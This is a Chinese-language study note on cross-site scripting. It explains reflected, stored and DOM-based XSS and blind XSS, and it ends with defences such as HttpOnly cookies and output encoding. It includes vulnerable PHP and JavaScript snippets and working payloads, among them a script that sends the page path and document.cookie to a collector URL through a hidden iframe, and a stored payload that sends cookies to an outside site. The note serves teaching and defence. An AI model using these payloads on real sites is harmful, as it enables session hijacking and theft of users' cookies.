安全學習筆記-web安全之XSS攻擊
web安全之XSS攻擊
XSS 即跨站腳本攻擊,是 OWASP TOP10 之一。它的全稱為 Cross-site scripting,因為 CSS 這個簡稱已經被佔用表示為前端三劍客之一的CSS,所以簡寫為XSS。
原理
瀏覽器將用戶輸入的惡意內容當做腳本去執行,從而導致了惡意功能的執行,這是一種客戶端攻擊方式,是網站應用程式的安全漏洞攻擊,是腳本程式碼注入的一種。可分為三個類型:反射型、存儲型、DOM型。
反射型XSS
先來看下面示例
<?php
$input = $_GET["info"];
echo "<div>".$input."</div>"
?>
當用戶在前端獲取值通過url傳遞給後端時,上面程式碼將顯示用戶傳遞參數。如下:
思考:當傳遞參數本身為惡意程式碼時將會有怎麼樣的效果?如下:
//localhost:3000/php_stu/xss_some/xss01.php?info=<script>alert(/xss/)</script>
如果將info=<script>alert(/xss/)</script>替換成複雜邏輯程式碼可以獲取用戶資訊做一些操作。例如改成如下程式碼:
<script>
p = window.location.pathname;
c = document.cookie;
ifm = document.createElement("iframe");
document.body.appendChild(ifm);
ifm.width = 0;ifm.height = 0;
ifm.src = "//localhost:3000/php_stu/xss_some/1.php?info=" + p + "&co" + c;
</script>
根據如上程式碼請求後發現我的1.php網站獲取到了用戶的網站路徑和用戶cookie:

總結:反射型XSS只是簡單地把用戶輸入的數據」反射給瀏覽器「。也就是說,黑客往往需要誘導用戶點擊一個惡意鏈接(如釣魚郵件等),才能進行攻擊。因此反射型XSS也叫做非持久型XSS。
存儲型XSS
存儲型XSS會把用戶輸入的數據存儲在伺服器,這種XSS危害性更大。比如在部落格網站上,一個人在自己的資訊上寫一段腳本。如」自我介紹<script>window.open("//wwww.mysite.com?yourcookie=document.cookie")</script>「,而這個部落格網站沒有對自我介紹的內容進行正確的編碼,當網站其他用戶看到這個資訊時,這個用戶將會得到所有看他自我介紹的用戶的會話cookie。更嚴重的是,如果攻擊者的惡意程式碼可以自我擴散,特別是在社交網路上,就會形成蠕蟲,早期的samy worm就是如此。
基於DOM的XSS
基於DOM的XSS和反射型XSS原理基本上一樣,不同的是基於DOM的XSS在伺服器端沒有辦法控制,必須在客戶端控制,因為不經過服務端,所以可以繞過WAF等的檢測。DOM是前端HTML的概念,最好需先去了解下前端DOM樹的概念。
比如有一網站程式碼如下:
<script>
function test() {
var inpStr = document.getElementById("usr").value;
document.getElementById("link").innerHTML = "<a href='"+inpStr+"' >testLink</a>";
}
</script>
<div id="link"></div>
<input type="text" id="usr" value="" />
<input type="button" id="tmp" value="show" onclick="test()" />
如果我在input輸入框內輸入如下字元串' onclick=alert(/xss/) '將得到如下效果:
得到的超鏈接標籤內容為<a href='' onclick=alert(/xss/) ''> testLink</a>
跨站(XSS)盲打
這裡再介紹下XSS盲打,XSS盲打就是儘可能地於一切可能的地方提交XSS語句,比如某些網站用戶給站長投信回饋意見,如果管理員看到此xss語句就能獲取到管理員的cookie資訊。
XSS防範
-
HttpOnly
HttpOnly由微軟提出,在IE6中實現,目前主流瀏覽器都支援,意思是瀏覽器將禁止頁面的JavaScript訪問帶有HttpOnly屬性的Cookie。這樣HttpOnly可以有效防止Cookie劫持。
-
轉義特殊字元
- '&'
- '"'
- '''
- '<'
- '>'
-
安全編碼
對後端傳輸到前端的輸出進行編碼,防止其被解析成為動態內容。比如php編程里的htmlentities()和htmlspecialchars()函數,python中django模板里的escape等。
總的來說堅持輸入和輸出不可信。




